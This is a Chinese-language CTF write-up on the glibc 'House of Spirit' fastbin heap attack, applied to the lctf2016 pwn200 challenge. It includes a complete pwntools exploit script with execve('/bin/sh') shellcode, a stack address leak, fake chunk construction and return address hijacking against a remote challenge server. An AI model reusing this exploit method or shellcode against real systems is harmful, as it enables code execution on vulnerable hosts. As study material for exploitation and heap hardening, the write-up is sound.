House of spirit

一种针对fastbin的攻击

什么情况下使用?

当有一块区域,这个区域上下两部分你都能控制,但是区域内部无法控制,并且区域内部有重要数据,比如返回地址。

(一般来说,这块区域指的是某个函数栈帧的位置,这个函数的父函数中有局部变量能够控制,这个函数里面还有局部变量你能够控制)

使用house of spirit可以通过控制前后区域来控制整片区域。

使用条件

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理

  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK (0x10!! )

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐 (size直接写成0xN0即可)

  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ (16),同时也不能大于av->system_mem(128kb)

  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

(64位情况下)

libc2.23版本

如何使用?

*(fake_chunk_addr+8)=size (当前fake chunk的size 直接0xN0即可)

fake_chunk物理相邻的下一个chunk的size也要设置,16<size<128kb

然后free(fake_chunk)

然后malloc(fake_chunk)

之后就可以控制这个fake_chunk的所有内容了

例题

https://buuoj.cn/challenges#lctf2016_pwn200

libc_2.23版本

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#p=process('./pwn200')
p=remote('node5.buuoj.cn',26024)
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
shellcode='''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
'''
shellcode=asm(shellcode)
fake_size=p64(0x1234)
payload=shellcode
payload=payload.ljust(44,b'\x90')+b'abcd'
sa("u?\n",payload)
ru('abcd')

rbp=uu64(ru('\x7f')[-6:])
leak("rbp:",rbp)
shellcode_addr=rbp-0x50
#buf_addr=rbp+0x7fffffffe460-0x7fffffffe4b0-0x10
fake_chunk_ptr=shellcode_addr-0x40
rbp_addr=shellcode_addr-0x28
# rbp=0x7fffffffe4b0
# ret=0x7fffffffe4a0
# name=0x7fffffffe460
ru("id ~~?\n")
sl('48')
#payload=p64(fake_chunk_ptr)+b'\x00'+b'd'*39+p64(0x30)+p64(fake_chunk_ptr)
payload=p64(0)*5+p64(0x40)+p64(0)+p64(fake_chunk_ptr)
print("payload:",payload)
sa("money~\n",payload)
ru('your choice : ')
sl('2')
ru('your choice : ')
sl('1')
ru('how long?\n')
sl('48')
ru('48')

payload=b'a'*0x10+p64(rbp_addr)+p64(shellcode_addr)
#gdb.attach(p,'b* 0x400948')
s(payload)
ru('your choice : ')
sl('3')
leak("fake_chunk_ptr",fake_chunk_ptr)
ti()

思考点

  1. 如何最后getshell?

    checksec之后发现nx没有开,那么可以考虑ret2shellcode

  2. 如何泄漏栈地址?

    printf(“%s”,name);

    利用这个函数,注意name输入的时候不能有\x00,否则会截断,结合第一点,我们可以在name这里写入shellcode

  3. 如何使用house_of_spirit?

    house_of_spirit关键点就是怎么找fake_chunk,以及如何修改

    在give_me_money里面,可以刚好溢出到堆指针,最后也是将这个指针给了全局变量,因此这个指针应该写入fake_chunk的用户地址。

    在它下面有之前我们可以控制的id作为fake_chunk的物理相邻的下一个chunk的size(再下面的shellcode不能作为size,因为在泄漏栈地址时不能存在\x00)(这个点也是卡住我的点,我没有意识到id这个空间可以被控制……)

    在它上面就是buf,我们可以完全控制,另外为了不让strcpy破坏我们的构造,我们可以在buf最开始写\x00来截断。

    https://blog.csdn.net/SWEET0SWAT/article/details/98852678